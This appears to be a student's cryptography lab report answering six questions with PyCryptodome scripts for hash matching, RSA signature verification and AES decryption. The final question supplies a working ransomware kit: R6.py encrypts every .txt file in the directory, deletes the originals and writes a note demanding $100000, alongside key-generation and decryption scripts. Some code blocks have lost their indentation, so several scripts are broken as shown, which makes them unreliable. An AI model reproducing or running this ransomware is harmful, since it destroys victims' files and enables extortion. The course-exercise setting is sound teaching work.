**Question 1:**

Daris:

Matching File: damon.exe

**Question 2:**

```python
import os
from Crypto.Hash import SHA256
from pathlib import Path

#for hash file
if __name__ == "__main__":
    hash_file_path = Path("/home/cse/Lab3/Q2hash.txt")
    files_path = Path("/home/cse/Lab3/Q2files")


    with open(hash_file_path, 'rb') as file:
        hash_compare = file.read().strip()

    hash_compare = hash_compare.decode()
    hash_compare = bytes.fromhex(hash_compare) #convert hex to raw bytes


#exe Q2 files
    for exefile in files_path.iterdir():
        if exefile.is_file():
            with open(exefile, 'rb') as file:
                content = file.read()
                hasher = SHA256.new()
                hasher.update(content)
                hashed_content = hasher.digest()


                if hashed_content == hash_compare:
                    print(exefile.name)
                    break
```

Daris:

Matching File: procreator.exe

- **Question 3:**

```
import os
from Crypto.Hash import SHA256
from Crypto.Signature import pkcs1_15
from Crypto.PublicKey import RSA

def main():
    key = RSA.import_key(open("/home/cse/Lab3/Q3pk.pem", 'rb').read())

    for exe in os.listdir("/home/cse/Lab3/Q3files"):
        if exe.endswith(".exe"):
            file_path = f"/home/cse/Lab3/Q3files/{exe}"
            sig_path = f"/home/cse/Lab3/Q3files/{exe}.sign"
            try:
                with open(file_path, 'rb') as f:
                    content = f.read()
                with open(sig_path, 'rb') as f:
sig = f.read()

                hash_obj = SHA256.new(content)
                pkcs1_15.new(key).verify(hash_obj, sig)
                print(exe)
                break
            except Exception:
                continue

if __name__ == "__main__":
    main()
```

Daris:

Matching File: pokey.exe

Experiment and Findings:

We compared the efficiency of RSA with 1024-bit and 2048-bit keys, and longer keys significantly increased processing time. Our experiments demonstrated why hashing before signing is really important because it creates a fixed-size digest

regardless of file size, eliminating the need for unfeasibly large keys and making the signature process both secure and efficient.

- **Question 4:**

```python
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

if __name__ == "__main__":

    with open(os.path.join("/home/cse/Lab3/Q4files", "Encrypted4"), 'rb') as f:

        iv = f.read(16)
        key = b'\xc8h\x19P\xca\xc4B\xd2\x8c\x0b\x1f\x00\x10\xaak_'
        cipher = AES.new(key, AES.MODE_CBC, iv=iv)

        #read in encrypted file
        ciphertext = f.read(16)

        decrypted_data = cipher.decrypt(ciphertext)
        plaintext = unpad(decrypted_data, AES.block_size)

        print(plaintext)
```

Daris:

Results: automaton62$

**Question 5:**

import os

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Hash import MD5


with open(os.path.join("/home/cse/Lab3/Q5files", "Encrypted5"), 'rb') as f:
    iv = f.read(16)
    ciphertext = f.read()
h = MD5.new()
with open(os.path.join("/home/cse/Lab3/Q5files", "R5.py"), 'rb') as afile:
    buf = afile.read(128)
    while len(buf) > 0:
        h.update(buf)
        buf = afile.read(128)
key = h.digest()
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
with open('Q5a', 'a') as f:
    f.write(plaintext.decode())
```

Daris:

Result: pinches12!

Question 6

Public Key cryptosystem: We chose the RSA cryptosystem with a 2048-bit key size. RSA is a popular and secure method for encrypting and decrypting data. The 2048-bit key is commonly used because it provides strong security without being too slow. I tested the program by generating keys, encrypting a file, and successfully decrypting it using the private key.

Video of functionality:

AD6.py

```
import subprocess
import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

with open('d.key', 'rb') as key_file:
secret_key = RSA.import_key(key_file.read())

initialization_vector = b'0123456789ABCDEF'

with open(sys.argv[1], 'rb') as locked_file:
locked_data = locked_file.read()

protected_key = locked_data[:secret_key.size_in_bytes()]
encrypted_content = locked_data[secret_key.size_in_bytes():]

decrypt_engine = PKCS1_OAEP.new(secret_key)
recovery_key = decrypt_engine.decrypt(protected_key)
recovery_string = recovery_key.hex()

print(f"Recovery key for {sys.argv[1]}: {recovery_string}")
```

D6.py

```
import subprocess
import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

with open('d.key', 'rb') as secret_file:
secret_key = RSA.import_key(secret_file.read())

initialization_vector = b'0123456789ABCDEF'

target_file = sys.argv[1]
original_name = target_file[:-10]

with open(f'{original_name}.ID', 'rb') as identity_file:
protected_data = identity_file.read()

recovery_string = sys.argv[2]

try:
decryption_key = bytes.fromhex(recovery_string)
encrypted_content = protected_data[secret_key.size_in_bytes():]
decryption_engine = AES.new(decryption_key, AES.MODE_CBC, initialization_vector)
original_content = unpad(decryption_engine.decrypt(encrypted_content), AES.block_size)
with open(f'{original_name}', 'wb') as restored_file:
restored_file.write(original_content)
print('File successfully restored')
os.remove(f'{original_name}.encrypted')
os.remove(f'{original_name}.ID')
os.remove(f'{original_name}.note')
except:
print('Recovery failed - correct key required')
```

KG6.py

```
from Crypto.PublicKey import RSA
```

```
rsa_keypair = RSA.generate(2048)

with open('e.key', 'wb') as encrypt_file:
encrypt_file.write(rsa_keypair.publickey().export_key('PEM'))

with open('d.key', 'wb') as decrypt_file:
decrypt_file.write(rsa_keypair.export_key('PEM'))
```

R6.py

```
import os
import subprocess
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

with open('e.key', 'rb') as pub_file:
encryption_key = RSA.import_key(pub_file.read())

directory_listing = subprocess.getoutput('ls')
file_list = directory_listing.split()

for current_file in file_list:
if current_file.endswith('.txt'):
with open(current_file, 'rb') as target_file:
original_data = target_file.read()
symmetric_key = os.urandom(32)
initialization_vector = b'0123456789ABCDEF'
padded_data = pad(original_data, AES.block_size)
aes_cipher = AES.new(symmetric_key, AES.MODE_CBC, initialization_vector)
encrypted_content = aes_cipher.encrypt(padded_data)

rsa_cipher = PKCS1_OAEP.new(encryption_key)
protected_symmetric_key = rsa_cipher.encrypt(symmetric_key)
with open(f'{current_file}.encrypted', 'wb') as output_file:
output_file.write(encrypted_content)

with open(f'{current_file}.ID', 'wb') as id_file:
id_file.write(protected_symmetric_key + encrypted_content)

with open(f'{current_file}.note', 'w') as message_file:
message_file.write('Your file has been locked: Send $100000 to receive the decryption tool\n')
message_file.write('Use D6.py with the decryption key to restore your file\n')
message_file.write(protected_symmetric_key.hex() + encrypted_content.hex())
os.remove(current_file)
```